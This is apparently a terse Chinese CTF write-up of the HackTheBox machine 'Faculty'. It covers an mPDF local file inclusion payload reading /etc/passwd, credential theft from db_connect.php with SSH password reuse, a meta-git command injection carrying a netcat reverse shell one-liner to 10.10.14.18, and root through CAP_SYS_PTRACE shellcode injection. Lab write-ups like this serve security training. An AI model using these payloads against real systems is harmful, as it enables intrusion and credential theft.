Faculty 是一台中型 Linux 机器,具有 PHP Web 应用程序,该应用程序使用的库容易受到本地文件包含的影响。利用该库中的 LFi 会泄露一个密码,该密码可用于通过 SSH 以名为“gbyolo”的低级用户身份登录。用户“gbyolo”有权作为“developer”用户运行名为“meta-git”的“npm”包。此机器上安装的“meta-git”版本容易受到代码注入攻击,可利用该版本将权限升级到用户“developer”。通过利用“CAP_SYS_PTRACE”功能将 shellcode 注入到以“root”身份运行的进程中,可以将权限提升到“root”。
循例nmap
gobuster扫目录
admin/
这里会转pdf
download.php,通过html进行url编码后再转base64直接生成pdf
尝试打XHR,但没成功
从pdf属性看到又是mPDF
谷歌能找到一个7.0版本的LFI
payload
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
能读到
读/etc/nginx/sites-enabled/default
server {
listen 80 default_server;
listen [::]:80 default_server;
root /var/www/html;
# Add index.php to the list if you are using PHP
index index.html index.htm index.nginx-debian.html;
server_name _;
rewrite ^ http://faculty.htb;
}
绝对路径找不到真正的网站根目录,但可以相对路径读
login.php
db_connect.php读到一组凭据
密码重用于gbyolo账户,我们能够通过它登录ssh
sudo -l
在谷歌能够找到一篇meta git会受命令注入漏洞影响的文章
通过poc,能够执行命令创建文件
reverse shell payload
'sss||mkfifo /tmp/f1;nc 10.10.14.18 8888 < /tmp/f1 | /bin/bash > /tmp/f1 #'
getcap
HackTricks提供了利用方法
msfvenom生成shellcode
利用python脚本生成payload
gdb
get root